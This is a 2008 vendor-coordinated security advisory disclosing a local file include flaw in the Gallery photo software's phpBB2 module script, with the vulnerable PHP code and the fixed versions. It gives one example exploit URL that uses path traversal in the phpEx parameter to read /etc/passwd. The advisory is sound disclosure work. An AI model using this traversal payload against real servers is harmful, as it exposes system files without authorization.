Digital Security Research Group [DSecRG] Advisory #DSECRG-08-035 Application: Gallery Versions Affected: 1.5.7, 1.6-alpha3 Vendor URL: http://gallery.menalto.com/ Bug: Local File Include Exploits: YES Reported: 14.07.2008 Vendor response: 15.07.2008 Solution: YES Date of Public Advisory: 08.08.2008 Authors: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru) Description *********** Gallery system has local file include vulnerability in script contrib/phpBB2/modules.php Successful exploitation requires that "register_globals" is enabled. Code **** ################################################# switch ($_REQUEST['op']) { case 'modload': // Added with changes in Security for PhpBB2. define('IN_PHPBB', true); define ("LOADED_AS_MODULE","1"); $phpbb_root_path = "./"; // connect to phpbb include_once($phpbb_root_path . 'extension.inc'); include_once($phpbb_root_path . 'common.'.$phpEx); include_once($phpbb_root_path . 'includes/functions.'.$phpEx); ################################################# Example: http://[server]/[installdir]/contrib/phpBB2/modules.php?op=modload&phpEx =../../../../../../../../../../../../../etc/passwd Solution ******** Vendor fix this flaw on 05.08.2008. Download Gallery 1.5.8 and 1.6-RC1 from download page on SourceForge: http://sourceforge.net/project/showfiles.php?group_id=7130&package_id=72 39&abmode=1 More information about release: http://gallery.menalto.com/gallery_1.5.8_released About ***** Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website. Contact: research [at] dsec [dot] ru http://www.dsec.ru (in Russian)